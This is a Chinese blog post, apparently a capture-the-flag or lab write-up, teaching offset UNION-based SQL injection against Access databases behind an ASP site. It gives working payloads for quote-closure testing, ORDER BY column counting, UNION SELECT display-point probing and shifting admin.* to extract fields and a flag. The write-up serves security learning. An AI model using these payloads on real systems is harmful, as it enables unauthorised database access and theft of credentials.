Access偏移溢注

Itachi

知识点

之前的查询数据都是先表名,再字段…但是在Access数据库中,可没有什么“系统自带库”,这个时候,哼哼,就要来点花活了
丑话说在前面,Access中的表名是无解的,要么跑字典,要么猜

选中库.表.字段
*****:通配符,表示所有
**表.***:所有字段


偏移溢注:当原表字段大于我要查询的表的字段的时候,就要用到偏移溢注

是不是觉得我没说明白,来感受一下:

1
2
3
select * from login where username='$username'	//假设 login 表 6 个字段
union
select 1,2,admin.* from admin; //假设 admin 表 4 个字段

可以用 1,2来补位,更甚之移动 admin.*的位置!!
这就叫偏移注入!

实战

img
拿到一个做的跟非法网站一样的东西,随便点一个进去看一下
img
看到是ASP写的,而且有GET传参,可以在Cookie上动点手脚
img
尝试注入:id=171' -- qwe
img
不能闭合,不闭合试试,直接排字段:id=171 order by 1
img
果然没有闭合,最后查出来是十个字段,猜测表名是 admin,而且测出来 admin表的字段比这个页面的字段数还要大,就在这几个页面里试,最终找到比 admin表的字段大的

发现 id=105这个页面有26个字段,查一下回显点:id=105 and 1=2 union select 11111,21111,31111,41111,51111,61111,71111,81111,91111,101111,111111,121111,131111,141111,151111,161111,171111,181111,191111,201111,211111,221111,231111,241111,251111,261111 from admin
发现回显点为:3,5,7,25
img
这里注意,如果不写 and 1=2是正常页面,写了就不会回显正常页面而输出我们想看到的回显点!
要检查源码!它里面也有输出点呢!!!

现在开始将 26替换为 admin.*,以此来判断一下 admin表里有几个字段,逐次删除位数,直到页面正常回显:id=105 union select 1,2,31111,4,51111,6,71111,8,9,10,admin.* from admin
img
看来 admin表有 16个字段,而且倒数第二个字段是 " ",接下来就是偏移溢注,其实就是把 admin.*一直向左移,查敏感字段 id=105 union select 1,2,31111,4,51111,6,71111,8,9,admin.*,26 from admin
img
移了一下flag就来啦,耶比耶比

  • 标题: Access偏移溢注
  • 作者: Itachi
  • 创建于 : 2021-12-01 18:46:48
  • 更新于 : 2021-12-01 23:12:52
  • 链接: https://blog.tarchi.top/web/Access偏移溢注/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
 评论
此页目录
Access偏移溢注